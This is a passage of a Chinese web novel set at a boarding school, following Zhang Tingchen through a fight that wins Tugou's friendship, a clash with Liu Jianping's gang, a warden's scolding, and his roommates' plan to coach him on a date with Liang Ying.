“行!打完再说!”张霆琛没有丝毫废话,话音未落,身体重心已经微微下沉,左脚前探,摆出了一个简洁而戒备的起手式,眼神锁定了对手。土狗见状,低吼一声,庞大的身躯却异常灵活地前冲,两只大手像铁钳般直抓张霆琛的衣领,这是柔道里典型的抢把动作!张霆琛反应极快,拧身闪避的同时,右拳带着破风声直捣土狗暴露的肋下!这一拳又快又狠!然而,出乎所有人意料,土狗庞大的身躯竟展现出了惊人的柔韧性和反应速度,他腰腹猛地一收,险之又险地避开了这刁钻的一拳!并且趁着张霆琛收拳的微小间隙,土狗的左手如同跗骨之蛆,闪电般抓住了张霆琛胸前的衣领!
“糟了!”旁观的李辰浩心猛地一沉。他看得分明,土狗抓把的手势极其老道,整个身体重心已经下沉,左脚后撤,右肩和腰部同时发力向后旋转,这是柔道里杀伤力极强的背负投的起手式!而且看土狗的架势,绝不是苏旭那种半吊子的过肩摔可比。标准的背负投一旦成功,会将对手整个身体腾空,以头下脚上的姿势狠狠砸向地面!这还不算完,紧随其后的往往就是一记沉重的袈裟固或者直接用泰山压顶足以让人瞬间丧失战斗力,甚至骨断筋折!
李辰浩下意识地就要冲上前帮忙。就在这电光火石之间,张霆琛被抓住衣领的身体仿佛瞬间绷紧,他非但没有惊慌失措,反而在身体即将被巨大的力量带离地面的瞬间,发出一声短促而充满战意的低吼:“别动!我自己来!”
第四十八章:苏旭被堵
张霆琛的声音几乎是同时响起,带着一种近乎本能的预判。他其实并未看清李辰浩的动作,纯粹是出于对这位兄弟战斗习惯的深刻了解。土狗恼羞成怒,猛地拧身,蒲扇般的大手狠狠拍开张霆琛托在他腰后的手臂,另一只手却如毒蛇般再次探出,闪电般扣向张霆琛另一只胳膊的关节,正是刚才摔倒张霆琛的那一招!想故技重施?
张霆琛嘴角勾起一抹冷冽的弧度。大意一次,岂能再犯?他手腕一翻,五指如铁钳般精准地反扣住土狗抓来的手腕!紧接着,令人眼花缭乱的一幕发生了,只见张霆琛腰腹核心骤然发力,整个人竟如同一条滑不留手的游鱼,顺着土狗粗壮的臂膀,一个令人匪夷所思的贴地翻滚,瞬间从土狗身侧如风卷般滚了过去!
土狗一声痛呼,整条胳膊在关节发出令人牙酸的轻响。张霆琛没有丝毫犹豫,借势弹起,右掌如刀,带着凌厉的破风声,一记干净利落的上劈掌,狠狠斩在土狗毫无防备的太阳穴上!一声闷响,如同重锤擂鼓。土狗那庞大的身躯猛地一僵,眼神瞬间涣散,随即像被抽掉了骨头的麻袋,直挺挺地轰然砸倒在地。
场边的李辰浩长长地吁了口气,悬着的心这才放下。这一连串的动作,从托腰、反制、绞臂滚身到致命劈掌,行云流水,快如闪电,看似简单拆解,实则蕴含着惊人的爆发力、精准的判断和超乎常人的身体协调性。围观的众人无不倒吸一口凉气,一个个目瞪口呆,脸上写满了难以置信。他们实在无法理解,张霆琛那看似瘦削单薄的身板里,如何能爆发出如此摧枯拉朽的力量和鬼魅般的速度?
这时,地上的土狗晃了晃硕大的脑袋,挣扎着爬了起来。他抹了一把嘴角的血沫,眼神复杂地盯着张霆琛,瓮声瓮气地说:“不错!真**够劲儿!但我欧泉还没服输,再来!”话音未落,他庞大的身躯再次启动,像一头发狂的蛮牛,带着风声,新一轮更凶猛的抢攻扑向张霆琛!
然而,吃过亏的张霆琛岂会再给他轻易近身的机会?眼看土狗如战车般冲来,张霆琛眼神锐利如鹰,左脚猛地向前踏出一步,稳稳扎下一个标准的前弓步,重心下沉,同时深吸一口气,胸膛微微起伏,全身肌肉瞬间绷紧如拉满的弓弦!
下一个刹那,只听得“噗”的一声闷响,冲势正猛的土狗身体骤然弓成了虾米,前冲的势头戛然而止!他双手死死捂住腹部,脸上的血色瞬间褪得一干二净,豆大的冷汗瞬间布满额头,喉咙里发出痛苦的声音,双膝一软重重跪倒在地,再也无法动弹分毫。这一记快到极致的直拳,精准地捣在了他的肝部要害,彻底瓦解了他所有的战斗力。
一旁的李辰浩瞳孔微缩,心中暗暗惊骇:这才几天?张霆琛的拳速竟然又快了!简直非人!他自然不知,张霆琛在领悟了师傅教的刀法第二重境界后,整个人的反应、协调和内劲运用,早已脱胎换骨。
尘埃落定。围观的人群这才如梦初醒,纷纷围拢过来,眼神中充满了敬畏。张霆琛缓步走到蜷缩在地的土狗面前,居高临下,声音平静却带着不容置疑的力量:“说话还算吗?”土狗强忍着翻江倒海的剧痛,挣扎着站直身体,尽管脚步虚浮,眼神却异常坚定,粗声回应:“男人吐口唾沫就是个钉!我任飞说话,砸地上都带响儿!你说,想怎么样?”
张霆琛嘴角忽然勾起一抹邪气而玩味的笑容,目光扫过众人,清晰地吐出三个字:“做我兄弟!”“什么?!”此言一出,石破天惊!所有人都愣住了,包括李辰浩邓志辉他们,都一脸错愕地看着张霆琛,完全没料到他会提出这样的要求。这小子唱的到底是哪一出?更令**跌眼镜的是土狗的反应。他几乎没有任何犹豫,重重一点头,声音洪亮:“成!没问题!从今往后,你就是我欧泉的兄弟!”干脆得让人怀疑自己听错了。
张霆琛笑容更深,带着一丝狡黠:“还有个条件。”土狗捂着剧痛的肚子,疑惑地看着他,没说话。张霆琛指了指他:“搬我们宿舍住,方便切磋。”土狗一下子愣住了,没想到张霆琛不仅不计前嫌,还主动拉近关系。一股复杂的暖流涌上心头,他看向张霆琛的目光彻底变了,这小子,有气魄!跟他做兄弟,不亏!当即重重点头:“好!一言为定!”
旁边的刘建平彻底炸了,脸气得通红,“你们他妈当老子是空气呢?土狗你给我滚开!这小子我们替你收拾!”他指着张霆琛,气急败坏。土狗闻言,身躯猛地转向刘建平,虽然肚子还在抽痛,但腰板挺得笔直,沉声道:“平哥,给个面子,他是我兄弟了。”
刘建平见他居然还敢叫自己,更是觉得被冒犯,彻底不把他放在眼里,啐了一口:“呸!谁他妈是你平哥,今儿没你事了,滚蛋!**废物一个!”他骂骂咧咧地一挥手,对身边的小弟吼道:“还愣着干什么?给我上!教训他们!”
然而,他最后一个“们”字还没完全出口,异变陡生!刚刚还捂着肚子的土狗,眼中凶光暴涨!他猛地一个箭步上前,庞大的身躯爆发出惊人的速度,双臂如铁箍般瞬间锁住刘建平的双肩和腰腹!在刘建平惊恐的尖叫和众人难以置信的目光中,土狗腰胯一沉,力从地起,一个标准的过肩摔!
刘建平如同一个沉重的破麻袋,被狠狠地、结结实实地砸在坚硬的水泥地上,他连哼都没哼一声,直接两眼翻白,瘫软在地,那几个刚要动手的小弟,如同被施了定身法,全都僵在原地,高举的拳头停在半空,脸上写满了惊恐。土狗缓缓直起身,像一座愤怒的铁塔矗立在刘建平身旁,他环视着噤若寒蝉的众人,眼神凶狠如择人而噬的猛兽,声音低沉得如同闷雷滚动:“谁敢动?!”每一个字都带着千钧之力,砸在每个人的心上。
这一吼,彻底把所有人都震慑住了!空气仿佛凝固了。谁也不想自己的脑袋挨上那砂锅大的拳头!土狗见无人敢动,这才转向张霆琛,瓮声瓮气地说:“兄弟,咱们走,今儿这事,到此为止。”张霆琛没有反对,只是走上前,轻轻拍了拍土狗肌肉虬结、汗津津的肩膀,眼神中带着一丝认可。一行人便在一众惊惧的目光注视下,朝厕所门口走去。
走到门口,张霆琛脚步微顿,没有回头,冰冷的声音却清晰地传入厕所内每一个人的耳中:“这是最后一次。再敢玩阴的…。”说完,头也不回地带着众人消失在门外刺眼的阳光中。厕所外,土狗甩了甩还有些发麻的胳膊,咧开大嘴,露出一个与他凶悍外表不太相称的、带着点憨厚的笑容,主动介绍:“我叫欧泉,人长得壮实又能打,道上兄弟给面子,叫土狗,你们也这样叫就行”
张霆琛闻言,也笑了起来,调侃道:“是够能打的,刚才差点就让你那身板压成肉饼了。”土狗顿时一脸惊奇,瞪大了铜铃般的眼睛:“咦?你咋知道我当时想压你?”张霆琛耸耸肩,一脸云淡风轻:“熟得很,看了多少遍了。”仿佛在说一件微不足道的小事。
“哦……”土狗挠挠头,似懂非懂地应了一声,心里却更觉得这新认的兄弟神秘莫测。旁边的邓志辉更是听得心痒难耐,对张霆琛几人的来历充满了好
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奇,但见张霆琛没有深谈的意思,他也识趣地按捺住了追问的念头。
这时,王涛插话问道:“霆琛、辰浩,你们去教务处领新被褥了吗?”张霆琛一听,猛地一拍脑门:“哎哟!真给忘了这茬!走走走,赶紧陪我去拿!”一旁的土狗连忙说:“那你们先去,我回趟原来的窝收拾,一会儿就搬到你们那儿去!”说完,他迈开大步,像一辆小坦克似的,风风火火地走了。
土狗的身影消失在拐角,李辰浩忍不住低声问张霆琛:“小琛,怎么突然想到收他做兄弟?”张霆琛看着土狗离去的方向,眼神深邃:“交手时看出来的,身手硬朗,路子正,输得起,骨头也硬。是个汉子,值得一交。不过嘛……”他顿了顿,“能不能当生死兄弟,还得看往后。”
邓志辉点头赞同:“这人名声在外,挺实在,不拉帮结派,独来独往。今天能加入咱们,绝对是如虎添翼!”几人边走边聊,很快到了教务处,不仅领了张霆琛和李辰浩的被褥,顺便也帮苏旭的那份一起扛上了。他们的宿舍在六楼顶层,这所贵族学校不成文的规矩,成绩越“突出”的,楼层越高,“待遇”越好。推开宿舍门,一股淡淡的消毒水味混合着新家具的味道扑面而来。房间宽敞明亮,上下铺,独立卫浴,虽然没空调,但胜在干净整洁,窗外视野开阔。
“啧,还行,比想象中好点。”张霆琛还算满意,随手把被褥扔在靠窗的一个下铺上,开始利落地整理起来。这时,林凯凑过来,挤眉弄眼地提议:“哎哥几个,晚上happy一下去啊?庆祝咱们‘新家’落成,顺便给土狗接风?”邓志辉、王涛几个立刻响应:“好啊好啊!”“必须的!”
李辰浩和张霆琛则是一脸茫然:“Happy?啥意思?”邓志辉笑着解释:“就是去网吧通宵!爽一把!”张霆琛一听,脑袋立刻摇得像拨浪鼓:“不行不行!翻墙出去被抓事小,明天上课打瞌睡事大!我还得好好学习呢!”他的表情无比认真。王涛、林凯他们顿时爆发出一阵哄笑,觉得张霆琛这“好学生”人设装得也太像了。
李辰浩在一旁无奈地摊手,替张霆琛证明:“他没装。这家伙,不抽烟不喝酒,网吧游戏厅KTV,一切娱乐场所绝缘体!他的人生信条就是——学习使我快乐!”正说笑着,宿舍门被推开,土狗抱着个巨大的行李包,气喘吁吁地挤了进来,额头都是汗。
邓志辉打趣道:“嚯,你这动作可够‘快’的啊,收拾个东西这么久?”土狗把行李往地上一扔,抹了把汗,喘着粗气说:“别提了!路上碰见点事儿,耽搁了!刚在宿舍楼后面那条小路上,看见一个戴眼镜的小子,好家伙,一个打五六个!身手真不赖!开始那几个根本不够他看的!结果后来又窜出来七八个,才把他按地上!旁边还有俩贼漂亮的小姑娘,急得直哭……”
他话还没说完,张霆琛脸上的笑容瞬间凝固,一股寒意从脚底直冲头顶!他猛地一步跨到土狗面前,声音都变了调:“男的戴眼镜?女孩都很漂亮?在哪?!”土狗被他的反应吓了一跳:“是啊…,就在宿舍楼后面那条路,你怎么……”
张霆琛的心猛地一沉,脑海中瞬间闪过苏旭那戴眼镜的模样和陈曦,梁颖焦急的面容。他失声惊呼:“是小旭!!!”话音未落,张霆琛的身影已经冲出了宿舍门,只留下一道急促的残影和回荡在走廊里的焦急喊声!李辰浩脸色剧变,毫不犹豫地紧随其后!宿舍里剩下的几人面面相觑,都从对方眼中看到了惊愕和凝重,出事了。
第四十九章:底线
张霆琛刚冲出门,宿舍楼前的小空地上已是乱糟糟一片。几个男生死死拽着拼命挣扎的陈曦,另外三四个则围着地上的苏旭拳打脚踢。尘土被踢腾起来,混着粗鲁的叫骂。
“操!”张霆琛眼睛瞬间充血,一股邪火直冲天灵盖。他连半秒都没犹豫,助跑两步,凌空就是一记狠辣的飞踹!一个正弯腰揍得起劲的家伙被踹得踉跄好几步,捂着腰眼惨叫出声。这一下,所有扭打的人都停了下来,目光齐刷刷钉在张霆琛身上。
“谁他妈……张霆琛?!”一个熟悉又刺耳的声音响起。刘建平从人群后面挤出来,脸上带着错愕和狰狞,“妈的!愣着干嘛!一块干他!”他嘶吼着,朝张霆琛一指。
就在这时,邓志辉、李辰浩他们也紧跟着张霆琛冲到了门口。“小旭!”李辰浩一眼就看见地上蜷缩着的苏旭,头发凌乱,校服上沾满脚印和尘土。一股无名火烧起来,他几步跨过去,一把将苏旭从地上拽起来,“你怎么样?伤哪儿了?!”
刘建平那边的人一看张霆琛的人到了,而且个个眼神不善,气势顿时矮了半截,抓着陈曦的手下意识就松开了,围着苏旭的人也退开两步。苏旭晃了晃脑袋,啐出一口带血的唾沫,脸上青一块紫一块,胳膊肘和膝盖的衣服都擦破了,露出渗血的擦伤。他梗着脖子,指着刘建平,声音嘶哑却带着不服输的劲儿:“妈的!死不了!要不是这孙子玩阴的,趁我不备一把沙子糊我眼睛里,就凭他们几个货色,能放倒老子?!”他一边说,一边揉着红肿的眼睛,眼泪混着沙土还在往下淌。
“**刘建平!下三滥的东西!”王涛的暴脾气一点就着,拳头捏得嘎嘣响,指着刘建平的鼻子破口大骂。刘建平被骂得脸上挂不住,恼羞成怒,对着旁边的人吼:“上啊!都他妈聋了?!一起上废了他们!”可他身边那几个男生,看着对面张霆琛、邓志辉、李辰浩、王涛,还有后面赶上来的林凯、彭志龙,六个人站成一排,个个眼神冰冷,气场逼人,愣是没一个敢往前挪步。
“平哥,他们人齐了”有人小声嘀咕。张霆琛根本没理会刘建平的叫嚣,他冰冷的视线扫过对面每一个人,声音低沉得像结了冰:“刚才是谁,扔的沙子?”空气仿佛凝固了,没人吭声。他又向前逼近一步,眼神里的戾气几乎要溢出来,一字一顿地重复:“我他妈问,是谁扔的沙子?!”
“是他!刘建平扔的!”缩在陈曦身边的梁颖,像是终于找到了勇气,指着刘建平尖声喊道。张霆琛的目光死死钉在刘建平脸上。“刘建平,”张霆琛的声音不高,却带着一股令人心悸的压迫感,“你觉得,用这种下作手段赢了,很光彩?厕所的话忘了?”他边说边继续向前走,每一步都踏在刘建平紧绷的神经上。
刘建平被张霆琛的气势慑住,不由自主地后退,脸上血色褪尽。“都干什么呢!无法无天了是吧?!”一个苍老但中气十足的声音炸响。宿管张大爷气喘吁吁地挤进人群,花白的头发都气得翘了起来,“反了天了!再敢动手,我立刻给教务处打电话!都给我散了!听见没有!”
一听要惊动教务处,刘建平那边有人赶紧拉住他胳膊:“平哥,算了,好汉不吃眼前亏,走吧,回头再说……”刘建平恨恨地瞪了张霆琛一眼,心有不甘地就想借坡下驴。“我让你走了吗?”张霆琛的声音瞬间钉住了刘建平刚抬起的脚。
刘建平猛地回头,色厉内荏地喊:“张霆琛!你还想怎样?!”“道歉!”张霆琛斩钉截铁,“给我兄弟,道歉!”“还吵!还吵!”张大爷气得直跺脚,指着张霆琛,“你这孩子怎么油盐不进!再闹我真打电话了!”“今天你不道歉,就别想走。”张霆琛像是没听见宿管的警告,眼神死死锁定刘建平。
眼看张霆琛要彻底把事闹大,邓志辉和李辰浩交换了一个心照不宣的眼神。电光火石间,邓志辉一个箭步上前,一个清脆响亮的耳光狠狠扇在刘建平脸上!力道之大,打得他脑袋猛地一偏。紧接着,李辰浩的窝心脚就到了!沉闷的撞击声响起,刘建平整个人被踹得倒飞出去,重重摔在地上,捂着肚子蜷成一团。
“无法无天!简直无法无天!”张大爷气得胡子直抖,指着他们,“好!好!等着!我这就叫主任来收拾你们!”说着就要转身回值班室。“林凯!”邓志辉低喝一声,使了个眼色。林凯心领神会,一个箭步上去,陪着笑脸拦住张大爷:“大爷,大爷您消消气,有话好说,有话好说……”一边说一边半扶半拽地想把大爷往屋里带。
李辰浩也赶紧拉住张霆琛的胳膊:“小琛,人打了,气也出了,赶紧撤吧!再不走真麻烦了!”谁知张霆琛依旧纹丝不动,目光依旧锁着地上挣扎的刘建平,冷冷道:“道歉!”“张霆琛!”刘建平从牙缝里挤出这两个字,**和剧痛冲昏了他的头脑。他猛地从地上弹起来,像头发疯的公牛,不管不顾地朝张霆琛扑去!
张霆琛嘴角勾起一丝近乎残忍的弧度。一只手精准无比地扼住了刘建平的咽喉!刘建平瞬间窒息,眼珠暴突,双手徒劳地去掰张霆琛的手臂,却发现那手臂纹丝不动!死亡的恐惧第一次如此真实地攫住了他。
这突如其来的狠辣一幕,不仅吓懵了刘建平的同伙,连李辰浩和邓志辉都心头剧震!他们真怕张霆琛盛怒之下失去理智。“小琛!松手!”李辰浩和邓志辉冲上来,用力去拉张霆琛的手臂,“够了!小旭没大事,别真弄出人命!老师马上来了!”
张霆琛充耳不闻。他手指缓缓收紧,看着刘建平因缺氧而涨紫的脸,眼神冰冷得没有一丝温度:“道歉!我最后说一次!”
“对…对不…起!”刘建平从喉咙深处挤出破碎的求饶,眼泪鼻涕糊了一脸。话音刚落,张霆琛掐着他脖子的手猛地一甩,同时一记凌厉的转身侧踹狠狠印在刘建平胸口!刘建平像个破麻袋一样再次飞出去,摔在地上痛苦地翻滚、干呕。
张霆琛居高临下地看着他,眼神如同在看一摊垃圾:“再有下次!你敢动我兄弟一根指头,我让你躺着回去!”说完,他看都不再看地上的刘建平一眼,转身走到苏旭身边,一把架起他:“走,去医务室。”“别!”邓志辉赶紧阻止,“医务室一登记,老师全知道了。宿舍有碘伏和云南白药,先回去处理。”
张霆琛一想也是,转头对惊魂未定的陈曦说:“小曦,你先回宿舍,这边没事了。晚点给你电话。”陈曦眼圈红红的,带着哭腔:“嗯…二哥,对不起,又给你们添麻烦了……”张霆琛故意板起脸:“再这么见外,我可生气了啊!快回去!”语气不容置疑。
陈曦这才点点头,和梁颖互相搀扶着离开。“霆琛,不好了!”王涛气喘吁吁地从宿管值班室方向跑回来,“那倔老头!林凯根本拦不住!电话都抄起来了,非让你们过去!”邓志辉反应极快,对彭志龙低声道:“快!回宿舍!我抽屉里还有半盒玉溪,赶紧拿来!这老头就好这口!”彭志龙一点头,撒腿就往宿舍楼里冲。
张霆琛几人硬着头皮走进宿管值班室。张大爷坐在椅子上,气得胸口起伏,指着张霆琛:“你!你这个孩子!我说话是放屁是不是?!啊?!”张霆琛低着头,态度倒是异常“诚恳”:“对不起,张大爷,我错了。”
邓志辉、李辰浩他们赶紧帮腔:“大爷您消消气,消消气!”“都是刘建平那帮人太欺负人了,您也知道他们什么德行……”“是啊大爷,我们也是看不过眼……”
张大爷看着张霆琛“认错”的样子,又听着其他人七嘴八舌,气稍微顺了点:“就是因为知道他们不是东西!我才没第一时间上报!想着让你们散了就得了!可你呢?!啊?!”他指着张霆琛,“我喊破嗓子让你住手,你倒好,还火上
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浇油!年轻人,冲动是魔鬼!冲动解决不了任何问题,只会把事情越搞越大!你说说你们,父母送你们来是读书的,不是打架斗殴的!这要是打出个好歹来,谁负责?……”
张霆琛全程低着头,一副虚心受教的模样:“大爷,我知道错了。您罚我吧。”张大爷看着他可怜巴巴的样子,又扫了眼旁边同样诚恳的邓志辉等人,最终无奈地叹了口气,挥挥手:“唉!算了算了!下不为例!都给我记住了,再敢在宿舍区打架,我绝不轻饶!都回去吧!回去好好反省!”
几人如蒙大赦,赶紧从值班室退出来。刚走到楼道拐角,彭志龙就拿着那半盒玉溪溜了进去。
值班室里很快传来推让的声音:“哎!你这是干什么!拿走拿走!”“张大爷,一点心意,您辛苦……”“不行!这像什么话!……唉,你这孩子……下不为例啊!……”彭志龙很快出来了,耸耸肩,比了个OK的手势,那半盒玉溪,最终还是勉为其难地留在了张大爷的抽屉里。
回到宿舍,苏旭坐在椅子上,看着围过来的兄弟们,脸上有些挂不住:“咳…那个不好意思啊兄弟们,又连累你们了。”“嗨,说这干啥!”土狗的大嗓门响起,他挠着后脑勺,一脸歉意和敬佩,“该说不好意思的是我!刚才在门口光顾着看热闹了,要知道你是琛哥的兄弟,我土狗第一个冲上去干他们!”他拍着厚实的胸脯,肉浪一阵翻涌。
苏旭看着眼前这个铁塔般的壮汉,又看看张霆琛。张霆琛简单介绍:“新室友,土狗,以后一起住了。”苏旭咧嘴一笑,尽管扯得伤口疼,还是伸出手:“哥们儿,谢了!我叫苏旭!”
土狗赶紧握住他的手,瓮声瓮气地说:“旭哥!以后有事吱声!”他转头又看向张霆琛,眼睛里闪着光,好奇地问:“琛哥,你这兄弟都这么猛的吗?刚才浩哥那一脚,踹得可真带劲!”他模仿了一下李辰浩踹人的动作。
张霆琛只是尴尬地笑了笑,没接话。邓志辉心知肚明,立刻打岔:“行了行了,土狗,先别研究这个了。赶紧的,找药,给小旭清理伤口。李辰浩一边翻箱倒柜找医药箱,一边问:“对了,他们怎么堵上你的?”
苏旭一边龇牙咧嘴地让邓志辉用碘伏给他消毒,一边愤愤地说:“嗨!别提了!我跟我媳妇儿,还有梁颖,吃完饭溜达回宿舍,在楼下小花园那儿就撞上刘建平那帮孙子了!丫的嘴贱,上来就撩扯小曦,我能惯着他?三言两语就干起来了!本来老子一个打仨还占上风呢!结果那孙子忒他妈孙子!打不过就玩阴的,一把沙子就糊我脸上了!操!眼睛差点给我弄瞎了!不然就凭他们……”“**不是东西!下回见一次打一次!”王涛在旁边气得直挥拳头。宿舍里多了这两个活宝一点就炸的王涛,和挨了揍嘴上也绝不认输的苏旭,以后的日子,注定热闹非凡。
陈曦和梁颖沉默地走着。快到宿舍门口时,梁颖忽然轻声说:“小曦,你真幸福。”陈曦一愣,脸上还带着担忧,不解地看着她。梁颖低下头,声音更轻了,带着一丝不易察觉的羡慕和失落:“苏旭刚才那样护着你,真像个英雄。”陈曦想起苏旭被打得鼻青脸肿还梗着脖子不服输的样子,心里又疼又暖,嘴上却嗔怪道:“什么英雄啊,你不知道他平时那张嘴有多贫!能把人气死!”
梁颖没接话,只是看着走廊尽头昏暗的灯光,喃喃自语般小声说:“他都没看我一眼”她的声音轻得像羽毛,带着难以言喻的失落。“嗯?谁没看你?”陈曦没听清,疑惑地问。“啊?没…没什么!”梁颖像是被踩了尾巴的猫,猛地抬起头,脸上闪过一丝慌乱,赶紧岔开话题,“我就是觉得这才刚开学几天啊,就打了两次架了,以后这日子可怎么过啊……”她叹了口气,语气里充满了对未来的迷茫和一丝忧虑。只是那抹深藏眼底的黯然,只有她自己知晓。
第五十章:直男的爱情
苏旭身上的淤青和擦伤,让网吧之行暂时搁浅。第二天天刚蒙蒙亮,邓志辉就像个人形闹钟,挨个掀被子:“都醒醒!再磨蹭食堂的包子渣都不剩了,还得跑那该死的早操!麻溜儿的!”
一帮人睡眼惺忪地爬起来,踢踏着拖鞋下楼。刚到宿舍楼门口,就见陈曦和梁颖已经在晨光里等着了。陈曦一眼看见苏旭,立刻迎上去:“小旭,跟你说个事,梁颖她们宿舍正好空了个床位,我搬过去凑合几天,等下次考完试重新排宿舍再说。”
苏旭眼睛一亮,顺嘴秃噜:“要不咱俩干脆单开一个宿舍住得了?”“死苏旭,你敢胡说八道!”陈曦瞬间炸毛,两根手指精准地掐在他腰侧的软肉上,来了个一百八十度旋转。“哎哟喂!疼疼疼!姑奶奶!昨天的伤啊!”苏旭演技爆发,瞬间化身委屈小媳妇,龇牙咧嘴地倒吸冷气。
陈曦心一软,以为自己真弄疼了他,赶紧松手,心疼地给他揉着:“啊?真弄疼了?对不起对不起,伤哪儿了?我看看……”
就在这时,李辰浩慢悠悠地踱过来,一脸纯真地插刀:“咦?小旭,我记得你昨天好像没伤着腰吧?刘振平那几下不都招呼在脸上和胳膊肘了吗?”空气瞬间凝固。陈曦脸上的心疼褪去,取而代之的是一道足以冻**的寒光,直射向苏旭。
苏旭头皮一麻,二话不说撒丫子就跑,边跑边嚎:“李辰浩!我跟你没完!”“你给我站住!敢骗我!”陈曦紧追不舍。这场突如其来的追逐战,引得路过的同学侧目,宿舍楼前爆发出一阵哄堂大笑。闹剧收场,一行人总算向食堂进发。
然而,细心的邓志辉却注意到了另一个细节。走路时,梁颖的脚步总是不自觉地往张霆琛身边靠拢,眼神也像沾了蜜糖似的,时不时就往那身上粘。其他人或许没察觉,但邓志辉可是看得门儿清。他坏笑着凑到梁颖身边,压低声音,带着点促狭:“梁大美女,这郎有情来妾有意的戏码才好看,单相思不开口,小心把好姻缘憋坏了哟!”
“我我我……我没有!你别瞎说!”梁颖的脸红成了熟透的苹果,声音越说越小,最后几乎成了蚊子哼哼。这欲盖弥彰的反应,彻底坐实了邓志辉的猜测。他哈哈一笑,意味深长地拍了拍梁颖的肩膀,大步流星走到前面去了,留下梁颖在原地心跳如鼓。而当事人张霆琛呢?正一脸茫然地看着邓志辉莫名其妙的背影,完全不知道自己成了话题中心。
新生早操,堪称一天中最“刑”的时光。那套广播体操,与其说是锻炼身体,不如说是精神折磨。王涛他们几个老油子早有默契,一集合就集体肚子疼,溜之大吉奔向厕所避难。张霆琛倒是想给老师留个好印象,规规矩矩站在队列里。至于苏旭?则被陈曦拧着耳朵,强行押送进了操场。
更惨的是,新生还得单独加练!几个简单的动作被分解、定格,一遍遍重复,累得人灵魂出窍。就在这机械的摆动中,梁颖的目光,如同轻盈的蝴蝶,一次又一次地悄悄落在张霆琛身上。张霆琛那点超强的战场洞察力,在感情雷达面前彻底失灵。他感觉到了视线,也只当是寻常,完全没往深处想,这方面,他堪比绝缘体。
早操结束的哨声如同天籁。梁颖鼓起勇气,像只欢快的小鹿蹦到张霆琛身边,声音带着刻意装出来的轻松:“张霆琛,累不累呀?”张霆琛一看到梁颖明媚的笑脸,条件反射似的又开始脸红心跳,舌头有点打结:“不…不累。你呢?”
“我挺喜欢运动的,做操也不怕累!”梁颖努力维持着笑容,走到教学楼前,终于切入正题:“对了,今天放学特别早哦,你有什么打算吗?”“啊?早?”张霆琛茫然地眨眨眼,完美避开了重点,“为什么早?”梁颖内心翻了个白眼,耐着性子解释:“今天是周五呀!下午三点就放学了,可以回家的。”她深吸一口气,豁出去了:“放学后陪我去礼品店逛逛好不好?然后我们去看场电影?”说完,她紧张地盯着张霆琛,期待他能开窍。
张霆琛一脸耿直:“去礼品店干嘛?看电影做什么?”那表情,纯真得让人想撞墙。梁颖强忍着掐他一把的冲动,不断默念“他是木头他是木头”,挤出一个笑容:“你就说陪不陪我嘛?”她决定放弃暗示,直接要答案。张霆琛恍然大悟地“哦”了一声,终于接通了某根神经:“哦!明白了!那好啊,放学我叫上大家一起去!”语气轻松愉快,仿佛组织了一次普通的集体活动。
梁颖眼前一黑,差点当场表演一个原地去世。她内心哀嚎:叫大家?!但看着张霆琛一脸“我是不是很聪明”的表情,她只能把苦涩咽下去,勉强挤出一句:“好吧,你看着办……”声音里充满了生无可恋。
这一整天,梁颖在座位上如坐针毡,紧张得书都看不进去。而另一边,张霆琛一下课就屁颠屁颠地找到邓志辉,把梁颖的邀约原原本本汇报了一遍。邓志辉听完,表情从惊讶到无语再到抓狂,最后恨铁不成钢地用脑门撞了两下课桌:“我的琛哥啊!你是真傻还是假傻?!老天爷!你这情商是拿智商换的吗?!”
张霆琛一脸无辜:“怎么了?我说错什么了?”邓志辉抬起头,眼神绝望:“错?你错得离谱!人家梁大美女那是看上你了!想跟你单独约会!谈恋爱!懂不懂?!约!会!谈!恋!爱!”他一字一顿,试图把概念钉进张霆琛那榆木脑袋里。
张霆琛把头摇得像拨浪鼓:“不可能不可能!怎么会呢!”“幸好你先跟我说了!”邓志辉抚着额头,“你要是敢跟王涛苏旭那俩大喇叭说,现在全班都知道了!听着,放学哪儿也别去!就老老实实陪你的梁大美女!钱不够哥借你!记住,是单独!别带我们这群电灯泡!”
张霆琛还是有点转不过弯:“喜欢就喜欢,干嘛非得去那些地方?”邓志辉彻底崩溃了,双手抓住张霆琛的肩膀用力摇晃
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:“张霆琛!看着我的眼睛!我就问你一句话!你喜不喜欢梁颖!”张霆琛被他晃得头晕,脸更红了,眼神躲闪,声音低得像蚊子:“我看见她就脸红心跳,喜不喜欢我不知道啊。”
“废话!看见美女不脸红心跳那叫**!”邓志辉气得直翻白眼,“你要是觉得梁颖这姑娘不错,是个好姑娘,就乖乖跟人家去!说不定以后我们还能多个漂亮嫂子!”他决定用最直白的方式点明。这下,张霆琛总算有点明白了。原来梁颖是喜欢自己?这个认知让他心里又慌又有点隐秘的甜。邓志辉看他那副魂不守舍的样子,无奈地摆摆手:“你自己好好琢磨琢磨吧!”
午休回到宿舍,邓志辉立刻召开了“紧急会议”,第一项议程:宣布重大发现,班花梁颖疑似对张霆琛同志发起攻势!第二项议程:对张霆琛同志在邀约中表现出的“钢铁直男”行为进行严肃批评教育!
一时间,宿舍变成了批斗大会:“琛哥!你真是凭实力单身啊!”王涛痛心疾首。“叫大家一起?你怎么想的?人家姑娘脸皮薄,能主动开口容易吗?”李辰浩一脸嫌弃。“就是!这么好的机会!浪费可耻!”连新来的土狗都加入了声讨。最终,宿舍最高法庭一致裁决:张霆琛同志必须无条件赴约!胆敢拒绝,即刻逐出宿舍,剥夺室友权利终身!
刚才打架时还气场全开的张霆琛,此刻像只被**的鹌鹑,蔫头耷脑地坐在角落,百思不得其解:大家怎么突然这么凶?兄弟情呢?平时面对敌人他杀伐果断,此刻面对感情却笨拙得像个小学生,两种极端的性格在他身上奇异地共存着,大概与他特殊的成长环境脱不开干系。
眼看张霆琛快被唾沫星子淹**,一直没怎么说话的彭志龙推了推眼镜,慢悠悠地开口:“我倒是有个主意。”他变戏法似的掏出一副蓝牙耳机,“琛哥,你把这个戴上,头发稍微盖着点,不容易被发现。到时候你跟梁颖在一起,我们几个就在后面不远处跟着。我们听到你们说什么,就用耳机教你!保准不出错!”
“妙啊!”“彭志龙你太有才了!”“僚机!我们是专业僚机!”宿舍里瞬间沸腾,一致通过这个“僚机计划”。最后,邓志辉按住兴奋的众人,走到张霆琛面前,表情异常严肃:“小琛,兄弟们是想帮你。但这事,最关键的是你自己。你摸着良心说,你对梁颖,到底有没有那个意思?要是真没感觉,趁早跟人家姑娘说清楚,别耽误人家,也别让人家难堪。咱不能干伤人心的事。”
